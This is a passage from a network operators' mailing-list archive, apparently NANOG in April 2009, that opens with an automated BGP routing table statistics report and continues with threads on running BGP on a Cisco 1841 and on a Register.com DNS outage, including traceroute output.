Prefixes being announced from unallocated address space: 226 Number of addresses announced to Internet: 2024619360 Equivalent to 120 /8s, 173 /16s and 61 /24s Percentage of available address space announced: 54.6 Percentage of allocated address space announced: 63.9 Percentage of available address space allocated: 85.5 Percentage of address space in use by end-sites: 76.2 Total number of prefixes smaller than registry allocations: 139764 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 65840 Total APNIC prefixes after maximum aggregation: 23485 APNIC Deaggregation factor: 2.80 Prefixes being announced from the APNIC address blocks: 62608 Unique aggregates announced from the APNIC address blocks: 28689 APNIC Region origin ASes present in the Internet Routing Table: 3591 APNIC Prefixes per ASN: 17.43 APNIC Region origin ASes announcing only one prefix: 964 APNIC Region transit ASes present in the Internet Routing Table: 554 Average APNIC Region AS path length visible: 3.6 Max APNIC Region AS path length visible: 16 Number of APNIC addresses announced to Internet: 409929248 Equivalent to 24 /8s, 111 /16s and 6 /24s Percentage of available APNIC address space announced: 81.4 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 124467 Total ARIN prefixes after maximum aggregation: 65792 ARIN Deaggregation factor: 1.89 Prefixes being announced from the ARIN address blocks: 93786 Unique aggregates announced from the ARIN address blocks: 36438 ARIN Region origin ASes present in the Internet Routing Table: 12879 ARIN Prefixes per ASN: 7.28 ARIN Region origin ASes announcing only one prefix: 4954 ARIN Region transit ASes present in the Internet Routing Table: 1241 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 20 Number of ARIN addresses announced to Internet: 420976128 Equivalent to 25 /8s, 23 /16s and 150 /24s Percentage of available ARIN address space announced: 80.9 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 65066 Total RIPE prefixes after maximum aggregation: 37870 RIPE Deaggregation factor: 1.72 Prefixes being announced from the RIPE address blocks: 59653 Unique aggregates announced from the RIPE address blocks: 39647 RIPE Region origin ASes present in the Internet Routing Table: 12843 RIPE Prefixes per ASN: 4.64 RIPE Region origin ASes announcing only one prefix: 6726 RIPE Region transit ASes present in the Internet Routing Table: 1932 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 26 Number of RIPE addresses announced to Internet: 392241952 Equivalent to 23 /8s, 97 /16s and 35 /24s Percentage of available RIPE address space announced: 83.5 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 23658 Total LACNIC prefixes after maximum aggregation: 5819 LACNIC Deaggregation factor: 4.07 Prefixes being announced from the LACNIC address blocks: 21871 Unique aggregates announced from the LACNIC address blocks: 11884 LACNIC Region origin ASes present in the Internet Routing Table: 1087 LACNIC Prefixes per ASN: 20.12 LACNIC Region origin ASes announcing only one prefix: 345 LACNIC Region transit ASes present in the Internet Routing Table: 176 Average LACNIC Region AS path length visible: 4.0 Max LACNIC Region AS path length visible: 28 Number of LACNIC addresses announced to Internet: 62027008 Equivalent to 3 /8s, 178 /16s and 117 /24s Percentage of available LACNIC address space announced: 61.6 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4817 Total AfriNIC prefixes after maximum aggregation: 1382 AfriNIC Deaggregation factor: 3.49 Prefixes being announced from the AfriNIC address blocks: 4505 Unique aggregates announced from the AfriNIC address blocks: 1345 AfriNIC Region origin ASes present in the Internet Routing Table: 289 AfriNIC Prefixes per ASN: 15.59 AfriNIC Region origin ASes announcing only one prefix: 87 AfriNIC Region transit ASes present in the Internet Routing Table: 55 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 15 Number of AfriNIC addresses announced to Internet: 10176000 Equivalent to 0 /8s, 155 /16s and 70 /24s Percentage of available AfriNIC address space announced: 30.3 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1687 6929 394 Korea Telecom (KIX) 17488 1538 121 98 Hathway IP Over Cable Interne 4755 1179 405 179 TATA Communications formerly 9583 1086 86 534 Sify Limited 4134 918 16382 367 CHINANET-BACKBONE 7545 784 164 106 TPG Internet Pty Ltd 18101 754 206 30 Reliance Infocom Ltd Internet 9498 686 297 49 BHARTI BT INTERNET LTD. 24560 680 228 176 Bharti Airtel Ltd. 9829 637 491 20 BSNL National Internet Backbo Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4315 3669 346 bellsouth.net, inc. 209 2656 4151 623 Qwest 4323 1816 1049 376 Time Warner Telecom 1785 1742 717 139 PaeTec Communications, Inc. 20115 1592 1426 725 Charter Communications 7018 1442 5895 1015 AT&T WorldNet Services 6478 1308 296 501 AT&T Worldnet Services 2386 1263 683 905 AT&T Data Communications Serv 11492 1202 192 11 Cable One 3356 1189 10978 450 Level 3 Communications, LLC Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8452 1232 188 7 TEDATA 3292 450 1764 389 TDC Tele Danmark 30890 435 86 194 SC Kappa Invexim SRL 12479 409 578 6 Uni2 Autonomous System 3320 343 7081 294 Deutsche Telekom AG 3215 340 3025 108 France Telecom Transpac 3301 340 1685 305 TeliaNet Sweden 8866 337 109 22 Bulgarian Telecommunication C 29049 322 26 3 AzerSat LLC. 8551 313 288 40 Bezeq International Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1445 2832 235 UniNet S.A. de C.V. 10620 848 193 102 TVCABLE BOGOTA 22047 607 302 14 VTR PUNTO NET S.A. 16814 594 31 10 NSS, S.A. 7303 519 264 74 Telecom Argentina Stet-France 11830 519 294 42 Instituto Costarricense de El 6471 443 96 31 ENTEL CHILE S.A. 11172 411 102 72 Servicios Alestra S.A de C.V 7738 397 794 28 Telecomunicacoes da Bahia S.A 28573 385 526 25 NET Servicos de Comunicao S.A Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 845 76 34 LINKdotNET AS number 20858 293 34 3 This AS will be used to conne 3741 272 858 232 The Internet Solution 2018 242 215 142 Tertiary Education Network 6713 159 150 15 Itissalat Al-MAGHRIB 33783 148 10 8 EEPAD TISP TELECOM & INTERNET 29571 137 15 8 Ci Telecom Autonomous system 5536 123 8 9 Internet Egypt Network 5713 113 507 65 Telkom SA Ltd 33776 109 6 3 Starcomms Nigeria Limited Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4315 3669 346 bellsouth.net, inc. 209 2656 4151 623 Qwest 4323 1816 1049 376 Time Warner Telecom 1785 1742 717 139 PaeTec Communications, Inc. 4766 1687 6929 394 Korea Telecom (KIX) 20115 1592 1426 725 Charter Communications 17488 1538 121 98 Hathway IP Over Cable Interne 8151 1445 2832 235 UniNet S.A. de C.V. 7018 1442 5895 1015 AT&T WorldNet Services 6478 1308 296 501 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 209 2656 2033 Qwest 1785 1742 1603 PaeTec Communications, Inc. 4323 1816 1440 Time Warner Telecom 17488 1538 1440 Hathway IP Over Cable Interne 4766 1687 1293 Korea Telecom (KIX) 8452 1232 1225 TEDATA 8151 1445 1210 UniNet S.A. de C.V. 11492 1202 1191 Cable One 18566 1061 1051 Covad Communications 4755 1179 1000 TATA Communications formerly Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 32326 UNALLOCATED 12.40.49.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.75.116.0/22 10796 ServiceCo LLC - Road Runner 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services 41.220.16.0/20 8668 TelOne Zimbabwe P/L 41.223.112.0/22 5713 Telkom SA Ltd 41.223.188.0/24 22351 Intelsat 41.223.189.0/24 26452 Local Communications Networks 62.61.220.0/24 24974 Tachyon Europe BV - Wireless 62.61.221.0/24 24974 Tachyon Europe BV - Wireless 63.140.213.0/24 22555 Universal Talkware Corporatio Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:19 /9:10 /10:20 /11:56 /12:163 /13:333 /14:590 /15:1147 /16:10411 /17:4658 /18:8021 /19:17048 /20:20269 /21:19962 /22:25500 /23:25315 /24:148796 /25:645 /26:792 /27:352 /28:119 /29:37 /30:9 /31:0 /32:7 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2805 4315 bellsouth.net, inc. 4766 1390 1687 Korea Telecom (KIX) 209 1358 2656 Qwest 17488 1305 1538 Hathway IP Over Cable Interne 8452 1211 1232 TEDATA 11492 1155 1202 Cable One 1785 1150 1742 PaeTec Communications, Inc. 18566 1042 1061 Covad Communications 2386 965 1263 AT&T Data Communications Serv 4323 942 1816 Time Warner Telecom Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:13 8:177 12:2207 13:3 15:19 16:3 17:4 20:35 24:1100 32:51 38:547 40:96 41:1974 43:1 44:2 47:22 52:3 55:2 56:3 57:25 58:533 59:621 60:460 61:1109 62:1075 63:2032 64:3641 65:2412 66:3605 67:1494 68:696 69:2554 70:525 71:140 72:1653 73:2 74:1474 75:171 76:310 77:836 78:547 79:311 80:969 81:824 82:527 83:412 84:613 85:1020 86:397 87:633 88:355 89:1442 90:44 91:2113 92:339 93:1129 94:1222 95:822 96:106 97:184 98:245 99:17 109:1 110:36 112:92 113:92 114:223 115:223 116:1140 117:490 118:286 119:665 120:144 121:707 122:1010 123:537 124:954 125:1304 128:222 129:227 130:129 131:415 132:74 133:9 134:188 135:39 136:241 137:153 138:147 139:77 140:421 141:101 142:391 143:327 144:332 145:44 146:373 147:150 148:519 149:235 150:143 151:200 152:150 153:137 154:11 155:269 156:170 157:299 158:129 159:273 160:280 161:134 162:275 163:149 164:478 165:533 166:277 167:361 168:680 169:162 170:476 171:38 172:10 173:260 174:163 178:1 186:8 187:59 188:9 189:325 190:2734 192:5805 193:4227 194:3324 195:2661 196:1057 198:3735 199:3319 200:5488 201:1361 202:7851 203:8093 204:3792 205:2160 206:2384 207:2804 208:3900 209:3437 210:2641 211:1095 212:1528 213:1717 214:69 215:26 216:4539 217:1259 218:361 219:414 220:1206 221:451 222:280 End of report From srgqwerty at gmail.com Fri Apr 3 13:45:36 2009 From: srgqwerty at gmail.com (srg) Date: Fri, 03 Apr 2009 20:45:36 +0200 Subject: BGP and ios upgrade question Message-ID: <1238784336.4361.38.camel@ping01> Hello: A little customer has a Cisco 1841 router running ios 12.3(8r)T8. At the end of this mail is a "show version" from the router. Now, he wants to run BGP. His current ios version 12.3(8r)T8 does not support BGP. According to Cisco feature navigator, ios version 12.4(24)T (c1841-ipbasek9-mz.124-24.T.bin) can run in the 1841 and supports BGP (note that feature set is IPBASE): http://tools.cisco.com/ITDIT/CFN/Dispatch?act=feature&imageid=1321931&platformFamily=280&featureSet=448&featureSelected=89&availSoftwares=IOS%20XE&availSoftwares=IOS 12.4(24)T requires 128MB DRAM and 32MB flash Remote peers will announce ONLY the default route to the 1841 My questions are: 1) It is common that a version with an IPBASE feature set supports BGP (some docs says that bgp support is included in "SP" services feature set)? 2) Will ios version 12.4(24)T run OK in the 1841? I think the response will be YES because Cisco feature navigator says that it is supported and the router has the DRAM and FLASH needed by 14.4(24)T. 3) Must the customer pay in order to download 12.4(24)T or he can download if he has a valid Cisco maintenance contract for that router? ------------------------------- show version Cisco IOS Software, 1841 Software (C1841-IPBASE-M), Version 12.3(8)T8, RELEASE OFTWARE (fc1) Technical Support:http://www.cisco.com/techsupportCopyright (c) 1986-2005 by Cisco Systems, Inc. Compiled Wed 06-Apr-05 02:17 by yiyan ROM: System Bootstrap, Version 12.3(8r)T8, RELEASE SOFTWARE (fc1) r1 uptime is 10 weeks, 5 days, 32 minutes System returned to ROM by power-on System image file is "flash:c1841-ipbase-mz.123-8.T8.bin" cisco 1841 (revision 5.0) with 118784K/12288K bytes of memory. 6 FastEthernet interfaces DRAM configuration is 64 bits wide with parity disabled. 191K bytes of NVRAM. 31360K bytes of ATA CompactFlash (Read/Write) Configuration register is 0x2102 Thanks and best regards From michaelfox100 at gmail.com Fri Apr 3 14:12:53 2009 From: michaelfox100 at gmail.com (Michael Fox) Date: Fri, 03 Apr 2009 14:12:53 -0500 Subject: BGP and ios upgrade question In-Reply-To: <1238784336.4361.38.camel@ping01> References: <1238784336.4361.38.camel@ping01> Message-ID: <49D65FB5.4060102@gmail.com> srg wrote: > Hello: > > A little customer has a Cisco 1841 router running ios 12.3(8r)T8. > At the end of this mail is a "show version" from the router. > > Now, he wants to run BGP. > > His current ios version 12.3(8r)T8 does not support BGP. > > According to Cisco feature navigator, ios version 12.4(24)T > (c1841-ipbasek9-mz.124-24.T.bin) can run in the 1841 and supports BGP > (note that feature set is IPBASE): > http://tools.cisco.com/ITDIT/CFN/Dispatch?act=feature&imageid=1321931&platformFamily=280&featureSet=448&featureSelected=89&availSoftwares=IOS%20XE&availSoftwares=IOS > > 12.4(24)T requires 128MB DRAM and 32MB flash > > Remote peers will announce ONLY the default route to the 1841 > > My questions are: > > 1) It is common that a version with an IPBASE feature set supports BGP > (some docs says that bgp support is included in "SP" services feature > set)? > 2) Will ios version 12.4(24)T run OK in the 1841? > I think the response will be YES because Cisco feature navigator says > that it is supported and the router has the DRAM and FLASH needed by > 14.4(24)T. > 3) Must the customer pay in order to download 12.4(24)T or he can > download if he has a valid Cisco maintenance contract for that router? > > ------------------------------- > show version > > Cisco IOS Software, 1841 Software (C1841-IPBASE-M), Version 12.3(8)T8, > RELEASE OFTWARE (fc1) Technical > Support:http://www.cisco.com/techsupportCopyright (c) 1986-2005 by Cisco > Systems, Inc. > > Compiled Wed 06-Apr-05 02:17 by yiyan > > > ROM: System Bootstrap, Version 12.3(8r)T8, RELEASE SOFTWARE (fc1) > > > r1 uptime is 10 weeks, 5 days, 32 minutes System returned to ROM by > power-on System image file is "flash:c1841-ipbase-mz.123-8.T8.bin" > > > cisco 1841 (revision 5.0) with 118784K/12288K bytes of memory. > > 6 FastEthernet interfaces > > DRAM configuration is 64 bits wide with parity disabled. > > 191K bytes of NVRAM. > > 31360K bytes of ATA CompactFlash (Read/Write) > > > Configuration register is 0x2102 > > Thanks and best regards > > > FWIW, I have 1760's running 12.4(21a) accepting BGP default routes in my remote offices. They run about 20% cpu normally. They also run eigrp with redistribution. No problems. I think if the 1760 can do it the 1841 shouldn't have a problem. Michael Fox From jnegro at billtrust.com Fri Apr 3 14:30:24 2009 From: jnegro at billtrust.com (Jeffrey Negro) Date: Fri, 3 Apr 2009 15:30:24 -0400 Subject: Register.com DNS hosting issues Message-ID: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> For anyone trying to troubleshoot any strange resolution or page loading issues, Register.com is apparently having a massive DNS hosting outage that has been going on since 2 days ago, and is still continuing. I only found out because our monitoring was complaining about one single domain on and off. After speaking with register.com support, they admitted to the ongoing issue. If anyone has reported this already on the list, I apologize in advance for the repetition. Jeffrey From baldwinmathew at gmail.com Fri Apr 3 14:38:05 2009 From: baldwinmathew at gmail.com (Matt Baldwin) Date: Fri, 3 Apr 2009 12:38:05 -0700 Subject: Register.com DNS hosting issues In-Reply-To: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> Message-ID: <5c0303b00904031238s15013727q4e45b93fb19a566f@mail.gmail.com> Yep, we're seeing issues with mail delivery to any domain that has their zone hosted by register.com. You can follow the action on twitter: http://search.twitter.com/search?q=register.com Various reports that some of the register.com support staff is denying issues, while others aren't, while others can't get through. -matt On Fri, Apr 3, 2009 at 12:30 PM, Jeffrey Negro wrote: > For anyone trying to troubleshoot any strange resolution or page loading > issues, Register.com is apparently having a massive DNS hosting outage > that has been going on since 2 days ago, and is still continuing. ?I > only found out because our monitoring was complaining about one single > domain on and off. ?After speaking with register.com support, they > admitted to the ongoing issue. > > > > If anyone has reported this already on the list, I apologize in advance > for the repetition. > > > > Jeffrey > > From jnegro at billtrust.com Fri Apr 3 14:42:23 2009 From: jnegro at billtrust.com (Jeffrey Negro) Date: Fri, 3 Apr 2009 15:42:23 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <49D665D3.6010701@linktechs.net> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> Message-ID: <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> No ETA given to me, just the stock line of "We apologize.. blah blah... as soon as possible.. blah blah." Jeffrey Negro, Network Engineer Billtrust - Improving Your Billing, Improving Your Business www.billtrust.com 609.235.1010 x137 jnegro at billtrust.com From: Dennis Burgess - LTI [mailto:dmburgess at linktechs.net] Sent: Friday, April 03, 2009 3:39 PM To: Jeffrey Negro Subject: Re: Register.com DNS hosting issues Thanks for the update :) Guess they did not get a ETA time? ----------------------------------------------------------- Dennis Burgess, CCNA, A+, Mikrotik Certified Trainer WISPA Board Member - wispa.org Link Technologies, Inc -- Mikrotik & WISP Support Services WISPA Vendor Member Office: 314-735-0270 Website: http://www.linktechs.net LIVE On-Line Mikrotik Training The information transmitted (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. 2510-2521, is intended only for the person(s) or entity/entities to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient(s) is prohibited, If you received this in error, please contact the sender and delete the material from any computer. Jeffrey Negro wrote: For anyone trying to troubleshoot any strange resolution or page loading issues, Register.com is apparently having a massive DNS hosting outage that has been going on since 2 days ago, and is still continuing. I only found out because our monitoring was complaining about one single domain on and off. After speaking with register.com support, they admitted to the ongoing issue. If anyone has reported this already on the list, I apologize in advance for the repetition. Jeffrey From crpopovi at nauticom.net Fri Apr 3 14:51:01 2009 From: crpopovi at nauticom.net (Clinton Popovich) Date: Fri, 3 Apr 2009 15:51:01 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> Message-ID: <200904031951.n33Jp11K056632@outbound.mail.nauticom.net> Looks like a routing issue to their DNS servers. traceroute to DNS020.C.REGISTER.COM (216.21.235.20), 64 hops max, 40 byte packets 1 c28.134.nauticom.net (209.195.134.28) 0.778 ms 0.894 ms 0.829 ms 2 10.11.11.9 (10.11.11.9) 1.010 ms 0.799 ms 0.829 ms 3 c246.134.nauticom.net (209.195.134.246) 1.271 ms 1.379 ms 1.350 ms 4 207.88.183.141.ptr.us.xo.net (207.88.183.141) 84.817 ms 7.764 ms 7.699 ms 5 65.106.3.185.ptr.us.xo.net (65.106.3.185) 7.606 ms 7.634 ms 7.504 ms 6 206.111.0.54.ptr.us.xo.net (206.111.0.54) 31.458 ms 28.509 ms 20.199 ms 7 Vlan424.icore1.MLN-Miami.as6453.net (66.110.9.13) 48.740 ms 36.118 ms 36.211 ms 8 ix-6-2.icore1.MLN-Miami.as6453.net (66.110.9.54) 36.328 ms 36.851 ms 36.334 ms 9 * * * 10 blackhole.prolexic.com (209.200.132.42) 36.127 ms 36.136 ms 36.298 ms 11 * Clinton Popovich Systems Engineer Consolidated Communications -----Original Message----- From: Jeffrey Negro [mailto:jnegro at billtrust.com] Sent: Friday, April 03, 2009 3:42 PM To: Dennis Burgess - LTI Cc: nanog at nanog.org Subject: RE: Register.com DNS hosting issues No ETA given to me, just the stock line of "We apologize.. blah blah... as soon as possible.. blah blah." Jeffrey Negro, Network Engineer Billtrust - Improving Your Billing, Improving Your Business www.billtrust.com 609.235.1010 x137 jnegro at billtrust.com From: Dennis Burgess - LTI [mailto:dmburgess at linktechs.net] Sent: Friday, April 03, 2009 3:39 PM To: Jeffrey Negro Subject: Re: Register.com DNS hosting issues Thanks for the update :) Guess they did not get a ETA time? ----------------------------------------------------------- Dennis Burgess, CCNA, A+, Mikrotik Certified Trainer WISPA Board Member - wispa.org Link Technologies, Inc -- Mikrotik & WISP Support Services WISPA Vendor Member Office: 314-735-0270 Website: http://www.linktechs.net LIVE On-Line Mikrotik Training The information transmitted (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. 2510-2521, is intended only for the person(s) or entity/entities to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient(s) is prohibited, If you received this in error, please contact the sender and delete the material from any computer. Jeffrey Negro wrote: For anyone trying to troubleshoot any strange resolution or page loading issues, Register.com is apparently having a massive DNS hosting outage that has been going on since 2 days ago, and is still continuing. I only found out because our monitoring was complaining about one single domain on and off. After speaking with register.com support, they admitted to the ongoing issue. If anyone has reported this already on the list, I apologize in advance for the repetition. Jeffrey From crpopovi at nauticom.net Fri Apr 3 14:52:20 2009 From: crpopovi at nauticom.net (Clinton Popovich) Date: Fri, 3 Apr 2009 15:52:20 -0400 Subject: Register.com DNS hosting issues Message-ID: <200904031952.n33JqJcJ057113@outbound.mail.nauticom.net> Looks like a routing issue to their DNS servers from here. traceroute to DNS020.C.REGISTER.COM (216.21.235.20), 64 hops max, 40 byte packets 1 c28.134.nauticom.net (209.195.134.28) 0.778 ms 0.894 ms 0.829 ms 2 10.11.11.9 (10.11.11.9) 1.010 ms 0.799 ms 0.829 ms 3 c246.134.nauticom.net (209.195.134.246) 1.271 ms 1.379 ms 1.350 ms 4 207.88.183.141.ptr.us.xo.net (207.88.183.141) 84.817 ms 7.764 ms 7.699 ms 5 65.106.3.185.ptr.us.xo.net (65.106.3.185) 7.606 ms 7.634 ms 7.504 ms 6 206.111.0.54.ptr.us.xo.net (206.111.0.54) 31.458 ms 28.509 ms 20.199 ms 7 Vlan424.icore1.MLN-Miami.as6453.net (66.110.9.13) 48.740 ms 36.118 ms 36.211 ms 8 ix-6-2.icore1.MLN-Miami.as6453.net (66.110.9.54) 36.328 ms 36.851 ms 36.334 ms 9 * * * 10 blackhole.prolexic.com (209.200.132.42) 36.127 ms 36.136 ms 36.298 ms 11 * Clinton Popovich Systems Engineer Consolidated Communications -----Original Message----- From: Jeffrey Negro [mailto:jnegro at billtrust.com] Sent: Friday, April 03, 2009 3:42 PM To: Dennis Burgess - LTI Cc: nanog at nanog.org Subject: RE: Register.com DNS hosting issues No ETA given to me, just the stock line of "We apologize.. blah blah... as soon as possible.. blah blah." Jeffrey Negro, Network Engineer Billtrust - Improving Your Billing, Improving Your Business www.billtrust.com 609.235.1010 x137 jnegro at billtrust.com From: Dennis Burgess - LTI [mailto:dmburgess at linktechs.net] Sent: Friday, April 03, 2009 3:39 PM To: Jeffrey Negro Subject: Re: Register.com DNS hosting issues Thanks for the update :) Guess they did not get a ETA time? ----------------------------------------------------------- Dennis Burgess, CCNA, A+, Mikrotik Certified Trainer WISPA Board Member - wispa.org Link Technologies, Inc -- Mikrotik & WISP Support Services WISPA Vendor Member Office: 314-735-0270 Website: http://www.linktechs.net LIVE On-Line Mikrotik Training The information transmitted (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. 2510-2521, is intended only for the person(s) or entity/entities to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient(s) is prohibited, If you received this in error, please contact the sender and delete the material from any computer. Jeffrey Negro wrote: For anyone trying to troubleshoot any strange resolution or page loading issues, Register.com is apparently having a massive DNS hosting outage that has been going on since 2 days ago, and is still continuing. I only found out because our monitoring was complaining about one single domain on and off. After speaking with register.com support, they admitted to the ongoing issue. If anyone has reported this already on the list, I apologize in advance for the repetition. Jeffrey From jbates at brightok.net Fri Apr 3 14:52:22 2009 From: jbates at brightok.net (Jack Bates) Date: Fri, 03 Apr 2009 14:52:22 -0500 Subject: Register.com DNS hosting issues In-Reply-To: <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> Message-ID: <49D668F6.70905@brightok.net> Jeffrey Negro wrote: > No ETA given to me, just the stock line of "We apologize.. blah blah... > as soon as possible.. blah blah." Do you normally give an ETA concerning DOS issues? Jack From jnegro at billtrust.com Fri Apr 3 14:53:52 2009 From: jnegro at billtrust.com (Jeffrey Negro) Date: Fri, 3 Apr 2009 15:53:52 -0400 Subject: Register.com DNS hosting issues In-Reply-To: <49D668F6.70905@brightok.net> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D668F6.70905@brightok.net> Message-ID: <3C5B084431653D4A9C469A22AFCDB5B903187886@LOGAN.billtrust.local> Well if they had said it was a DOS attack I wouldn't expect an ETA. When all they say is that they're having issues, I expect some form of ETA. Jeffrey Negro, Network Engineer Billtrust - Improving Your Billing, Improving Your Business www.billtrust.com 609.235.1010 x137 jnegro at billtrust.com -----Original Message----- From: Jack Bates [mailto:jbates at brightok.net] Sent: Friday, April 03, 2009 3:52 PM To: Jeffrey Negro Cc: Dennis Burgess - LTI; nanog at nanog.org Subject: Re: Register.com DNS hosting issues Jeffrey Negro wrote: > No ETA given to me, just the stock line of "We apologize.. blah blah... > as soon as possible.. blah blah." Do you normally give an ETA concerning DOS issues? Jack From fergdawgster at gmail.com Fri Apr 3 15:10:30 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Fri, 3 Apr 2009 13:10:30 -0700 Subject: Register.com DNS hosting issues In-Reply-To: <200904031952.n33JqJcJ057113@outbound.mail.nauticom.net> References: <200904031952.n33JqJcJ057113@outbound.mail.nauticom.net> Message-ID: <6cd462c00904031310y2221dec1v4b5e87e7b68b5189@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, Apr 3, 2009 at 12:52 PM, Clinton Popovich wrote: > > Looks like a routing issue to their DNS servers from here. > > traceroute to DNS020.C.REGISTER.COM (216.21.235.20), 64 hops max, 40 byte > packets > 1 c28.134.nauticom.net (209.195.134.28) 0.778 ms 0.894 ms 0.829 ms > 2 10.11.11.9 (10.11.11.9) 1.010 ms 0.799 ms 0.829 ms > 3 c246.134.nauticom.net (209.195.134.246) 1.271 ms 1.379 ms 1.350 